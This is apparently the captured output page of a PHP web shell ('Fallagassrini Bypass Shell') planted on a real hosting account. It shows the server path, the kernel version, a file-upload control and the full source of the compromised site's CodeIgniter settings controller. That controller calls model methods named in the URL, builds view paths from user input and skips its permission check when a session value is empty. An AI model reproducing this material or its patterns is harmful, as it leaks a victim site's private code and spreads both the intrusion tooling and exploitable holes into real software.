? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/ccnerp/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/ccnerp/application/controllers/settings.php

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Settings extends MY_Controller {

    public function  __construct()
    {
         parent::__construct();
         $this->load->model('settingsmodel');
         $this->load->model('mastermodel');

    }
    
    function viewinsettingssearch($modelfunction,$page,$pagenum)
    {       
        $output=$this->settingsmodel->$modelfunction($pagenum);
        $data['viewinfo']=$output['results'];
        $this->load->view('settings/'.$page.'',$data);
        
    }
    
    function get_post_values()
    {
        $data = array();
        foreach ($_POST as $key => $value)
        {
            if($key != "submit")
            {
                $data[$key] =  $this->input->post($key);
            }
        }
        return $data;
    }
    
    function addinsettings($modelfunction,$page)
    {      
        $data=array();
        $postdata = $this->get_post_values();
        $data=$this->settingsmodel->$modelfunction($postdata);
        if($data['res']=="password")
        {
            $this->load->view('message',$data);
        }
        else
        {    $this->viewinsettingssearch($data['resfunction'],$page,$_SESSION['pagenum']);
             $this->load->view('message',$data);
        }

    }
    function edit_page($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],2);
        }
        else
        {
            $perm=1;
        }
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['id']=$id;
            $this->load->view('settings/'.$page,$data);
        }
    }
    function checkprofileset($employee_id)
    {
         echo $this->settingsmodel->checkprofileset($employee_id);
    }
    function getprofilepermissionbyemployeeid($employee_id)
    {
         $data['viewinfo']=$this->settingsmodel->get_profile_permission_by_empid($employee_id);
         $data['modules'] = $this->mastermodel->getmoduledata();
         $data['designation_name']=$this->mastermodel->get_single_joined_value('designation_name','designation','employee','designation_id','employee_designation_id','employee_id',$employee_id);
         $this->load->view('settings/permission_list_by_employee_profile',$data);
    }
    
    function load_alert_master($alert_master_id)
    {
        $data=array();
        $data['alert_master_id']= $alert_master_id;
        
        $data['viewinfo']= $this->mastermodel->get_data_srow('alert_master',$alert_master_id,'alert_master_id');
        $data['employee_list'] = $this->mastermodel->getdatas('employee','employee_id');
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],2);
        }
        else
        {
            $perm=1;
        }
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $this->load->view('settings/edit_alert_master',$data);
        }
    }
    
    function remove_alert($table,$id,$field)
    {
        $data=array();
        $data=$this->settingsmodel->remove_alert($table,$id,$field);
        $arr = array('msg' =>$data['msg'],'res'=>$data['res']);
        echo json_encode($arr);
    }
    
    function show_alert($id)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],0);
        }
        else
        {
            $perm=1;
        }
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {   
            $data=array();     
            $_SESSION['user_id'];
            $data['id']=$id;
            $output=$this->settingsmodel->get_fee_alerts_to_employee(1,1,1);
            $data['fee_alert_count']=$output['count'];
            $data['fee_alert_detail']=$output['details'];            
            $this->load->view('settings/display_alert',$data);
        }
    }
    
    function load_alert($alert_master_id)
    {
        $this->load->view('home/manage_alert');
    }
    
    function alert_close($master_id,$alert_type,$alert_date="")
    {
        $this->settingsmodel->alert_close($master_id,$alert_type,$alert_date);
        return 1;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net